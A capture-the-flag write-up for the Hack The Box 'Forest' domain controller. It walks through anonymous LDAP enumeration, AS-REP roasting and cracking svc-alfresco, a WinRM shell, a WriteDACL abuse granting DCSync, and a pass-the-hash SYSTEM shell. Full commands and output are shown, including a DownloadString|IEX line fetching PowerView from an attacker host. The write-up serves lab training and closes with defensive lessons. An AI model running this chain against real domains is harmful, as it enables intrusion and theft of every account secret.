Forest
AS-REP roasting cracks the svc-alfresco service account, and an Exchange Windows Permissions WriteDACL over the domain turns that foothold into a DCSync for Administrator.
Another box that answers to a name, FOREST, and a domain, htb.local. No website this time, so the directory itself will have to tell me who lives here.
First, confirm the host is actually up.
Host reachability ping
┌──(Idan@Kali)-[~/Forest]└─> ping 10.129.16.68PING 10.129.16.68 (10.129.16.68) 56(84) bytes of data.64 bytes from 10.129.16.68: icmp_seq=1 ttl=127 time=72.8 ms64 bytes from 10.129.16.68: icmp_seq=2 ttl=127 time=72.8 ms64 bytes from 10.129.16.68: icmp_seq=3 ttl=127 time=71.0 ms64 bytes from 10.129.16.68: icmp_seq=4 ttl=127 time=72.8 ms--- 10.129.16.68 ping statistics ---4 packets transmitted, 4 received, 0% packet loss, time 3015msrtt min/avg/max/mdev = 70.966/72.323/72.803/0.783 msThe ttl=127 is the usual Windows tell (a default of 128, minus one hop). The scan fills in the rest.
Service & version enumeration nmap
┌──(Idan@Kali)-[~/Forest]└─> nmap -sC -sV 10.129.16.68Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-25 11:36 -0400Nmap scan report for 10.129.16.68Host is up (0.088s latency).Not shown: 988 closed tcp ports (reset)PORT STATE SERVICE VERSION53/tcp open domain Simple DNS Plus88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-03-25 15:43:09Z)135/tcp open msrpc Microsoft Windows RPC139/tcp open netbios-ssn Microsoft Windows netbios-ssn389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)445/tcp open microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: HTB)464/tcp open kpasswd5?593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0636/tcp open tcpwrapped3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)3269/tcp open tcpwrapped5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)Service Info: Host: FOREST; OS: Windows; CPE: cpe:/o:microsoft:windowsAn aggressive scan confirmed Windows Server 2016 and added nothing new, so I left it there and read the service list I already had.
Enumeration
Section titled “Enumeration”No web means the usual foothold is off the table, so I lean on what a domain controller gives away for free. If anonymous LDAP is open, the user list is one query away.
First, map the hostnames the scan surfaced so forest.htb and FOREST.htb.local resolve:
┌──(Idan@Kali)-[~/Forest]└─> sudo nano /etc/hosts# Add the following line10.129.16.68 forest.htb FOREST.htb.localI let autorecon blanket the host in the background, but the manual scan had already mapped the surface, so I went straight at the directory. Forest answers anonymous LDAP queries, which means I can enumerate every account in the domain without a single credential and drop the names into users.txt.
Domain users from an anonymous bind users.txt
┌──(Idan@Kali)-[~/Forest]└─> cat users.txtlucindaandysvc-alfrescosantimarksebastienAdministratorFoothold: AS-REP Roasting
Section titled “Foothold: AS-REP Roasting”A domain that hands out its user list will often hand out more. If any of these accounts skipped pre-authentication, Kerberos will roast them for me.
Roasting svc-alfresco
Section titled “Roasting svc-alfresco”With a user list in hand, I ask the KDC which of these accounts do not require Kerberos pre-authentication. Any that qualify will return an AS-REP I can crack offline.
AS-REP roasting the user list netexec
┌──(Idan@Kali)-[~/Forest]└─> nxc ldap 10.129.16.68 -u users.txt -p '' --asreproast asrep.hashLDAP 10.129.16.68 389 FOREST [*] Windows 10 / Server 2016 Build 14393 (name:FOREST) (domain:htb.local) (signing:None)LDAP 10.129.16.68 389 FOREST $krb5asrep$23$svc-alfresco@HTB.LOCAL:4b64285a129fcfebc9668ee61df78c9d$4724ab...5ca581One account came back. I feed its hash to Hashcat with mode 18200 and the rockyou wordlist.
Cracking the AS-REP hash hashcat
┌──(Idan@Kali)-[~/Forest]└─> hashcat -m 18200 -a 0 asrep.hash /usr/share/wordlists/rockyou.txt$krb5asrep$23$svc-alfresco@HTB.LOCAL:4b64285a...5ca581:s3rvice
Status...........: CrackedHash.Mode........: 18200 (Kerberos 5, etype 23, AS-REP)Recovered........: 1/1 (100.00%) DigestsA Shell as svc-alfresco
Section titled “A Shell as svc-alfresco”Port 5985 was open, and the account is almost certainly meant to log in there, so I take the credentials straight to Evil-WinRM.
Interactive session evil-winrm
┌──(Idan@Kali)-[~/Forest]└─> evil-winrm -i 10.129.16.68 -u svc-alfresco -p 's3rvice'
Evil-WinRM shell v3.9
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> whoamihtb\svc-alfrescoI land as svc-alfresco, and the user flag is sitting on the desktop.
Reading the user flag type
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> cd ..\Desktop*Evil-WinRM* PS C:\Users\svc-alfresco\Desktop> type user.txt<user flag>User Flag
Section titled “User Flag”Privilege Escalation
Section titled “Privilege Escalation”A shell as svc-alfresco is a foothold in a forest full of trust relationships. Somewhere in those group memberships is a path to the domain root, and BloodHound will draw it.
Mapping the ACL Path with BloodHound
Section titled “Mapping the ACL Path with BloodHound”svc-alfresco’s own privileges are unremarkable, so the interesting question is what its group memberships let it change. I collect the whole domain and let the graph answer.
Domain mapping bloodhound-python
┌──(Idan@Kali)-[~/Forest]└─> bloodhound-python -d htb.local -u svc-alfresco -p 's3rvice' -dc FOREST.htb.local -c All -ns 10.129.16.68 --zipINFO: Found AD domain: htb.localINFO: Found 2 computersINFO: Found 32 usersINFO: Found 76 groupsINFO: Compressing output into 20260325141243_bloodhound.zip
WriteDACL to DCSync
Section titled “WriteDACL to DCSync”The plan follows the graph exactly. I create a throwaway user, add it to Exchange Windows Permissions, load PowerView, and use the group’s WriteDACL to grant that user DCSync rights over the domain.
Granting DCSync through Exchange Windows Permissions PowerView
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> net user idan Aa123456!1 /add /domainThe command completed successfully.
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> net group "Exchange Windows Permissions" idan /addThe command completed successfully.
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> net localgroup "Remote Management Users" idan /addThe command completed successfully.
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> (New-Object System.Net.WebClient).DownloadString('http://10.10.14.87:8000/PowerView.ps1') | IEX*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> $SecPass = ConvertTo-SecureString 'Aa123456!1' -AsPlainText -Force*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> $Cred = New-Object System.Management.Automation.PSCredential('htb.local\idan', $SecPass)*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> Add-ObjectACL -PrincipalIdentity idan -Credential $Cred -Rights DCSyncWith DCSync granted, idan can ask the domain controller to replicate account secrets, exactly as a second DC would. From Kali, I pull the hashes.
Replicating the domain secrets secretsdump
┌──(Idan@Kali)-[~/Forest]└─> impacket-secretsdump htb.local/idan:'Aa123456!1'@10.129.16.68[*] Using the DRSUAPI method to get NTDS.DIT secretsAdministrator:500:aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6:::# remaining domain hashes trimmed[*] Cleaning up...The Administrator hash is all I need. I pass it straight back to the domain controller for a SYSTEM shell, no password required.
Pass-the-hash to SYSTEM and the root flag psexec
┌──(Idan@Kali)-[~/Forest]└─> impacket-psexec -hashes aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6 administrator@10.129.16.68[*] Found writable share ADMIN$[*] Creating service and executing the payload[*] Opening a shell, press ENTERC:\Windows\system32> whoamint authority\systemC:\Windows\system32> cd C:\Users\Administrator\DesktopC:\Users\Administrator\Desktop> type root.txt<root flag>Root Flag
Section titled “Root Flag”Summary
Section titled “Summary”The whole path in one breath: Forest answers anonymous LDAP queries, so I pull the domain’s user list without credentials. One of those accounts, svc-alfresco, has Kerberos pre-authentication disabled, so I AS-REP roast it and crack s3rvice offline, which opens a WinRM shell and the user flag. BloodHound then draws the escalation: svc-alfresco can add a controlled account to Exchange Windows Permissions, that group holds WriteDACL over the domain, and WriteDACL grants DCSync. I replicate the Administrator hash, pass it back for a SYSTEM shell, and take the root flag.
Attack Path · htb.local
Step 1 of 6
User svc-alfresco
- via
- AS-REP roast →
hashcat -m 18200 - shell
evil-winrm, user.txt
Group Account Operators
via is member of
- note
- non-protected group, can manage others
Group Exchange Windows Permissions
via adds members to
- edge
- BloodHound:
WriteDACL → htb.local
Domain htb.local
via holds WriteDACL
- right
WriteDACLon the domain object- action
- add DS-Replication rights to our user
Account Administrator
via grant DCSync
- tool
secretsdump.py- result
- replicated NTLM hash via DCSync
Root SYSTEM
via pass-the-hash
- via
evil-winrmPtH as Administrator- flag
- root.txt
Reflection
Section titled “Reflection”Three lessons, one per stage of the chain:
- Anonymous access to a directory is a free user list. Forest let an unauthenticated client enumerate every account in htb.local, and that list is the raw material for AS-REP roasting, spraying, and everything after. A domain controller should not answer to nobody.
- A disabled pre-authentication flag is a crackable password. svc-alfresco skipped Kerberos pre-auth, so the KDC handed out an offline hash for the asking, and a weak password did the rest. Pre-auth stays on, and service accounts get passwords a wordlist will never hold.
- WriteDACL on the domain is domain admin. The real collapse was an ACL: Exchange Windows Permissions could rewrite the domain’s security descriptor, and a low-tier account could join that group through Account Operators. One writable permission, reached in two hops, became DCSync over every secret in the forest.